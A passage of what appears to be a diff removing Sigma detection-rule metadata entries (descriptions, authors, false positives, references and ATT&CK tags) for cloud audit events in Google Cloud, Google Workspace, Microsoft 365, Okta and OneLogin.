"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" - ], - "tags": [ - "attack.credential_access" - ] - }, - "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", - "value": "Google Cloud Kubernetes Secrets Modified or Deleted" - }, - { - "description": "Identifies when a service account is disabled or deleted in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", - "falsepositive": [ - "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_service_account_disabled_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml", - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ] - }, - "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f", - "value": "Google Cloud Service Account Disabled or Deleted" - }, - { - "description": "Identifies when a service account is modified in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", - "falsepositive": [ - "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_service_account_modified.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml", - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", - "value": "Google Cloud Service Account Modified" - }, - { - "description": "Detect when a Cloud SQL DB has been modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/15", - "falsepositive": [ - "SQL Database being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_sql_database_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", - "value": "Google Cloud SQL Database Modified or Deleted" - }, - { - "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", - "falsepositive": [ - "VPN Tunnel being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", - "value": "Google Cloud VPN Tunnel Modified or Deleted" - }, - { - "description": "Detects when an an application is removed from Google Workspace.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/26", - "falsepositive": [ - "Application being removed may be performed by a System Administrator." - ], - "filename": "gworkspace_application_removed.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml", - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", - "value": "Google Workspace Application Removed" - }, - { - "description": "Detects when an API access service account is granted domain authority.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "gworkspace_granted_domain_api_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", - "value": "Google Workspace Granted Domain API Access" - }, - { - "description": "Detects when multi-factor authentication (MFA) is disabled.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/26", - "falsepositive": [ - "MFA may be disabled and performed by a system administrator." - ], - "filename": "gworkspace_mfa_disabled.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml", - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", - "value": "Google Workspace MFA Disabled" - }, - { - "description": "Detects when an a role is modified or deleted in Google Workspace.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "gworkspace_role_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", - "value": "Google Workspace Role Modified or Deleted" - }, - { - "description": "Detects when an a role privilege is deleted in Google Workspace.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "gworkspace_role_privilege_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml", - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", - "value": "Google Workspace Role Privilege Deleted" - }, - { - "description": "Detects when an Google Workspace user is granted admin privileges.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/23", - "falsepositive": [ - "Google Workspace admin role privileges, may be modified by system administrators." - ], - "filename": "gworkspace_user_granted_admin_privileges.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "google_workspace", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml", - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", - "value": "Google Workspace User Granted Admin Privileges" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_activity_by_terminated_user.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", - "value": "Activity Performed by Terminated User" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "User using a VPN or Proxy" - ], - "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ] - }, - "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", - "value": "Activity from Anonymous IP Addresses" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_activity_from_infrequent_country.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ] - }, - "uuid": "0f2468a2-5055-4212-a368-7321198ee706", - "value": "Activity from Infrequent Country" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ] - }, - "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", - "value": "Data Exfiltration to Unsanctioned Apps" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_from_susp_ip_addresses.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ] - }, - "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", - "value": "Activity from Suspicious IP Addresses" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2020/07/06", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_impossible_travel_activity.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", - "value": "Microsoft 365 - Impossible Travel Activity" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_logon_from_risky_ip_address.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f", - "value": "Logon from a Risky IP Address" - }, - { - "description": "Alert for the addition of a new federated domain.", - "meta": { - "author": "@ionsor", - "creation_date": "2022/02/08", - "falsepositive": [ - "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." - ], - "filename": "microsoft365_new_federated_domain_added.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://www.sygnia.co/golden-saml-advisory", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", - "https://o365blog.com/post/aadbackdoor/", - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf" - ], - "tags": [ - "attack.persistence", - "attack.t1136.003" - ] - }, - "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", - "value": "New Federated Domain Added" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", - "meta": { - "author": "austinsonger", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_potential_ransomware_activity.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", - "value": "Microsoft 365 - Potential Ransomware Activity" - }, - { - "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", - "meta": { - "author": "Sorina Ionescu", - "creation_date": "2022/02/08", - "falsepositive": [ - "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." - ], - "filename": "microsoft365_pst_export_alert.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml", - "https://attack.mitre.org/techniques/T1114/" - ], - "tags": [ - "attack.collection", - "attack.t1114" - ] - }, - "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", - "value": "PST Export Alert" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/22", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_susp_inbox_forwarding.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", - "value": "Suspicious Inbox Forwarding" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" - ], - "tags": [ - "attack.exfiltration" - ] - }, - "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", - "value": "Suspicious OAuth App File Download Activities" - }, - { - "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", - "meta": { - "author": "austinsonger", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_unusual_volume_of_file_deletion.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", - "value": "Microsoft 365 - Unusual Volume of File Deletion" - }, - { - "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", - "meta": { - "author": "austinsonger", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "microsoft365_user_restricted_from_sending_email.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "m365", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy" - ], - "tags": [ - "attack.initial_access", - "attack.t1199" - ] - }, - "uuid": "ff246f56-7f24-402a-baca-b86540e3925c", - "value": "Microsoft 365 - User Restricted from Sending Email" - }, - { - "description": "Detects when an the Administrator role is assigned to an user or group.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Administrator roles could be assigned to users or group by other admin users." - ], - "filename": "okta_admin_role_assigned_to_user_or_group.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "413d4a81-6c98-4479-9863-014785fd579c", - "value": "Okta Admin Role Assigned to an User or Group" - }, - { - "description": "Detects when a API token is created", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_api_token_created.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", - "value": "Okta API Token Created" - }, - { - "description": "Detects when a API Token is revoked.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_api_token_revoked.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", - "value": "Okta API Token Revoked" - }, - { - "description": "Detects when an application is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_application_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", - "value": "Okta Application Modified or Deleted" - }, - { - "description": "Detects when an application Sign-on Policy is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", - "value": "Okta Application Sign-On Policy Modified or Deleted" - }, - { - "description": "Detects when an attempt at deactivating or resetting MFA.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/21", - "falsepositive": [ - "If a MFA reset or deactivated was performed by a system administrator." - ], - "filename": "okta_mfa_reset_or_deactivated.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", - "value": "Okta MFA Reset or Deactivated" - }, - { - "description": "Detects when an Network Zone is Deactivated or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_network_zone_deactivated_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", - "value": "Okta Network Zone Deactivated or Deleted" - }, - { - "description": "Detects when an Okta policy is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Okta Policies being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "okta_policy_modified_or_deleted.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "1667a172-ed4c-463c-9969-efd92195319a", - "value": "Okta Policy Modified or Deleted" - }, - { - "description": "Detects when an Policy Rule is Modified or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_policy_rule_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", - "value": "Okta Policy Rule Modified or Deleted" - }, - { - "description": "Detects when an security threat is detected in Okta.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_security_threat_detected.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml", - "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": "No established tags" - }, - "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", - "value": "Okta Security Threat Detected" - }, - { - "description": "Detects when unauthorized access to app occurs.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "User might of believe that they had access." - ], - "filename": "okta_unauthorized_access_to_app.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", - "value": "Okta Unauthorized Access to App" - }, - { - "description": "Detects when an user account is locked out.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "okta_user_account_locked_out.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "okta", - "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml", - "https://developer.okta.com/docs/reference/api/system-log/" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", - "value": "Okta User Account Locked Out" - }, - { - "description": "Detects when an user assumed another user account.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "onelogin_assumed_another_user.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "onelogin", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml", - "https://developers.onelogin.com/api-docs/1/events/event-resource" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", - "value": "OneLogin User Assumed Another User" - }, - { - "description": "Detects when an user account is locked or suspended.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", - "falsepositive": [ - "System may lock or suspend user accounts." - ], - "filename": "onelogin_user_account_locked.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "onelogin", - "refs": [ - "https://developers.onelogin.com/api-docs/1/events/event-resource/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", - "value": "OneLogin User Account Locked" - }, - { - "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level 